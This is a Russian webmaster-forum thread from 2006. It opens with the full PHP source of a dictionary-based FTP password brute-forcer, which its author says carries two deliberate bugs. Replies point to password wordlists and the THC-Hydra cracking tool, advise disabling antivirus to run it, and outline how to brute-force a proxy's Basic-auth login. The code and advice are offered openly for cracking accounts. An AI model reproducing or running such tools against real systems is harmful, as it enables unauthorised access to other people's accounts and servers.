форум вебмастероff на AlfaSpace.NET

Ubuntu и Linux |реактивный бесплатный хостинг | Киноклуб. ВСЁ БЕСПЛАТНО!
база знаний хостинга | правила форума

  Начало ° Ответить ° Статистика ° Опрос ° Регистрация ° Поиск ° FAQ °
Форум вебмастеров на AlfaSpace.NET / The Matrix Has You / Код простейшего ftp-bruteforce'a на PHP :)
. 1 . 2 . >>
Автор Сообщение
Константин
TorrentMaster

3449
# Дата: 11 Авг 2006 16:38 ° Поправил: Константин


Вот собственно и он сам - написан где-то за полтора часа, так что ногами не пинать Умеет проверять связку ftp логин-пароль по словарю + для каждого логина проверяет также связки логин-логин и логин-перевернутый логин. Выводит статистику в процессе работы. Результаты сохраняет в текстовый файл.

 
<? 
//simple FTP-bruteforce\\ 
//[config]\\ 
$timelimit=666; 
$address= "66.66.66.66"; 
$port=21; 
$logins="logins.txt"; 
$passwords="passwords.txt"; 
$result="result.txt"; 


function connector($addr,$prt,$log,$pas) 
{ 
    $conn_id = ftp_connect($addr,$prt); 
    if (!$conn_id) 
    { 
        return -1;//connection failed 
    } 
    else 
    { 
        if(@ftp_login ($conn_id,$log,$pass)) 
        { 
            ftp_close($conn_id); 
            global $result; 
            $fl=fopen($result,"a"); 
            fwrite($fl,"[$addr:$prt][$log][$pas]\n"); 
            fclose($fl); 
            return 1;//success 
        } 
        else 
        { 
            ftp_close($conn_id); 
            return 0;//auth failed 
        } 
    } 
} 


//[main]\\ 
echo"<html><body bgcolor=\"Silver\"><center>simple FTP-bruteforce (by Deflector) 
</center><hr>"; 
echo"Server: $address:$port<br>"; 

$fl=fopen($result,"w"); 
fclose($fl); 
set_time_limit($timelimit); 
$sttime=time(); 
$loginlist=file_get_contents($logins); 
$loginliste=explode("\n",$loginlist); 
unset($loginlist); 
$passwordlist=file_get_contents($passwords); 
$passwordliste=explode("\n",$passwordlist); 
unset($passwordlist); 
$loginlistl=sizeof($loginliste); 
$passwordlistl=sizeof($passwordliste); 
echo"Users in $logins: $loginlistl<br>"; 
echo"Passwords in $passwords: $passwordlistl<hr>"; 

$globalcount=0; 

for ($lcount=0;$lcount<$loginlistl;$lcount++) 
{ 
    set_time_limit($timelimit); 
    $rs=connector($address,$port,trim($loginliste[$lcount]),trim($loginliste[$lc 
    ount])); 
    if ($rs>0) 
    {//success 
        $globalcount++; 
        echo"current: l=[$lcount]/[$loginlistl] p=[-2]/[] s=$globalcount t=".(in 
        tval(time()-$sttime))."<br>";flush(); 
        continue; 
    } 
    elseif ($rs<0) 
    { 
        sleep(1); 
        $lcount--; 
        continue; 
    } 
     
    $rs=connector($address,$port,trim($loginliste[$lcount]),strrev(trim($loginli 
    ste[$lcount]))); 
    if ($rs>0) 
    {//success 
        $globalcount++; 
        echo"current: l=[$lcount]/[$loginlistl] p=[-1]/[] s=$globalcount t=".(in 
        tval(time()-$sttime))."<br>";flush(); 
        continue; 
    } 
    elseif ($rs<0) 
    { 
        sleep(1); 
        $lcount--; 
        continue; 
    } 
     
    for ($pcount=0;$pcount<$passwordlistl;$pcount++) 
    { 
        set_time_limit($timelimit); 
         
        $rs=connector($adress,$port,trim($loginliste[$lcount]),trim($passwordli 
        ste[$pcount])); 
        if ($rs>0) 
        {//success 
            $globalcount++; 
            echo"current: l=[$lcount]/[$loginlistl] p=[$pcount]/[$passwordlistl] 
            s=$globalcount t=".(intval(time()-$sttime))."<br>";flush(); 
            break; 
        } 
        elseif ($rs<0) 
        { 
            sleep(1); 
            $pcount--; 
            continue; 
        } 
         
        if (rand(1,100)>97) 
        { 
            echo"current: l=[$lcount]/[$loginlistl] p=[$pcount]/[$passwordlistl] 
            s=$globalcount t=".(intval(time()-$sttime))."<br>";flush(); 
        } 
         
    } 
} 

echo"<hr>"; 
echo"Process completed: <a href=\"$result\">Result[$globalcount]</a> t=".(intval 
(time()-$sttime));flush(); 
?> 



З.Ы. в коде допущены 2 ошибки - чтобы скрипт-киддисы не пользовались

Connected
Pluged&Played

589
# Дата: 11 Авг 2006 17:11


И на сколько быстро он работает?

Константин
TorrentMaster

3449
# Дата: 11 Авг 2006 17:21 ° Поправил: Константин


Connected
Тест проводился на связке lx-host-alfaspace. Я взламывал пароль к своему аккаунту на альфаспейсе, запуская скрипт на lx-host'е. Результат - проверяет примерно по 1 паролю за 0.75 секунды при одном потоке. Если запускать в 10 потоков - то примерно за 0.9 секунды - по 1 паролю на поток.

Если брутить пароли к тому же хосту, где он запущен, то очевидно скорость будет на порядки больше. Правда преимущества многопоточности не будут ощущаться.

Jizus CREED
Участник

686
# Дата: 11 Авг 2006 17:42


Константин
Обьясни, плз, а на фих ты его выложил?))) Мы и так не сомневаемся в твоей квалицикации)

Константин
TorrentMaster

3449
# Дата: 11 Авг 2006 17:47


Jizus CREED
Я выложил "исключительно в ознакомительных целях"
+ мало ли кому пригодится - я же написал. Квалификация тут не причем - код не оптимизирован надлежащим образом между прочим.

К тому же это повысит популярность форума альфы среди определенного круга лиц

Jizus CREED
Участник

686
# Дата: 11 Авг 2006 17:55


» Константин
К тому же это повысит популярность форума альфы среди определенного круга лиц

А, ну тады да)))

Roler
USA Hater

1281
# Дата: 12 Авг 2006 01:06


Константин
Ничё, доработаем

Андрей
Алексеевич

2125
# Дата: 12 Авг 2006 01:46


А для ftp_connect не нужно запускать php с особыми параметрами? Просто два мануала говорят по-разному.

Константин
TorrentMaster

3449
# Дата: 14 Авг 2006 04:42


Андрей
Для запуска я фтп-коннектом пхп должен быть собран, а не запущен с особыми параметрами. Кстати - не следует пытаться выполнить скрипт на альфе - тут пхп собран без поддержки фтп_коннект.

Рамиль
minibb moder

1151
# Дата: 16 Авг 2006 04:10


Константин
А где можно взять нормальные словарики паролей?

persei
Участник

475
# Дата: 16 Авг 2006 04:13


у меня есть но там 150 мб

Рамиль
minibb moder

1151
# Дата: 16 Авг 2006 04:15


persei
А поменьше ~5-10 МБ нет?
З.Ы. Сколько ж там паролей? 1.000.000.000.000?

Константин
TorrentMaster

3449
# Дата: 16 Авг 2006 06:22


passwords.ru - словари паролей на любой вкус

Константин
TorrentMaster

3449
# Дата: 20 Авг 2006 05:47


Как только что выяснилось - я когда писал брутфорсер, откровенно страдай фигней - вместо того, чтобы заюзать гууууугл.

Вот обнаружил универсальный брутфорсер всего, что только можно, написанный профессионалами, а главное очень быстрый
http://thc.segfault.net/thc-hydra

Кому надо - пользуйтесь

firstbattle
Участник

134
# Дата: 24 Авг 2006 07:18


» Константин
Вот обнаружил универсальный брутфорсер всего, что только можно, написанный профессионалами, а главное очень быстрый

Чето у меня страница не открывается =((((

Roler
USA Hater

1281
# Дата: 24 Авг 2006 09:13


Дык, это писали профи. Сайт надо ломануть)))

firstbattle
Участник

134
# Дата: 24 Авг 2006 20:08


Ну так надо хотябы внизу маленькими буквами писать типо ламерам не лезть

Михаил
Я знаю людей...

2551
# Дата: 24 Авг 2006 21:55


» firstbattle
Ну так надо хотябы внизу маленькими буквами писать типо ламерам не лезть

"...Ламерам не лезть..."
А что он такой тяжелый?

firstbattle
Участник

134
# Дата: 27 Авг 2006 16:07


» Михаил
"...Ламерам не лезть..."


Мне пофик, я через проксю скачал

persei
Участник

475
# Дата: 29 Авг 2006 23:55


Константин
о да, гидра это круто, но настоящую мощь она показывает только на ломаемом сервере.

Рамиль
minibb moder

1151
# Дата: 30 Сен 2006 14:42 ° Поправил: Рамиль


Константин
НОД нашёл в hydra.exe какой-то вирус

Сведения о тревоге

файл:

H:\hydra\hydra.exe

Bиpуc:

Win32/HackTool.Hydra.D приложение

Koммeнтapий:

был перемещен в карантин. Вы можете закрыть это окно.

Что делать? Забить и попробовать с выключенным антивирем?

Константин
TorrentMaster

3449
# Дата: 30 Сен 2006 14:54


это не вирус - он там саму гидру и нашел
отруби модуль AMON у нода - когда гидру юзаешь. И поставь ему дефолтным действием не перемещать в карантин, а перемещать в карантин только при подтверждении - а то иначе он у меня даже в текстовиках шеллы не давал хранить

Рамиль
minibb moder

1151
# Дата: 1 Окт 2006 00:33


Константин
Понятно. Походу придётся качать снова, НОД файл в архиве побил

Рамиль
minibb moder

1151
# Дата: 4 Окт 2006 11:22


Константин
Теперь есть вопрос - как ей пользоваться под Виндой? Вроде на скринах есть инферфейс, а у меня появляется досовоское окошоко и сразу пропадает. Конечно в ридми есть описание команд, но скроее всего они для линя?
ЗЫ. Если вопрос действительно глуп, извинит меня!

Константин
TorrentMaster

3449
# Дата: 4 Окт 2006 12:12


Под виндой не юзал
Так что не знаю ,чем виндозная версия отличается

Рамиль
minibb moder

1151
# Дата: 7 Окт 2006 07:28


Константин
Жалко. Под линем мне его не собрать/запустить

Рамиль
minibb moder

1151
# Дата: 11 Окт 2006 07:32


Константин
Кароче я понял. Интерфейс есть тока под линем. Под виндой его нет. Поэтому нада юзать коммандную строку Кароче, мне нужно забрутить такое окошечко,
authentication on the proxy
на хосте 192.168.0.1:8080 с логинами в login.txt и паролями в passwords.txt. Это гибра может?

Константин
TorrentMaster

3449
# Дата: 11 Окт 2006 10:00


Рамиль
Если тебе надо сбрутить именно проксю - тогда не может. Гидра предусматривает возможность брута ЧЕРЕЗ проксю - с заранее определенным логином и паролем

Рамиль
minibb moder

1151
# Дата: 11 Окт 2006 10:32 ° Поправил: Рамиль


Константин
А не знаешь, что может? Просто очень нада, а в гугле находится скорее не брутер для прокси, а прокси для брутера...

Константин
TorrentMaster

3449
# Дата: 11 Окт 2006 11:32 ° Поправил: Константин


Рамиль
Нет не знаю - достаточно специфическая задача. Впрочем никто не мешает самому написать тулзу специально для этих целей.

Алгоритм прост: коннект к проксе, запрос к примеру http://www.ya.ru/index.html обычным GET, только
не забыть обязательное поле запроса: Auth...: Basic ххххх
вместо хххх подставь base64 от "логин:пароль"

. 1 . 2 . >>
Ваш ответ

Quote  Bold Style  Italic Style  Underlined Style  URL Link  Email Link  Script AutoTab  Preformatted Text  Отменить *Что это?
... Запретить смайлы


Перед отправкой "нелатинского" текста проверьте кодировку броузера!
 » Логин  » Пароль 
 
Powered by miniBB forum software © 2001-2008
Powered by miniBB-gzipper. Original size:49153, gzipped size:12618

Mp3 Download || Webs Studio™ || Song's Lyrics
eXTReMe Tracker Rambler's Top100 Рейтинг@Mail.ru Форум ТвойWeb [Valid RSS]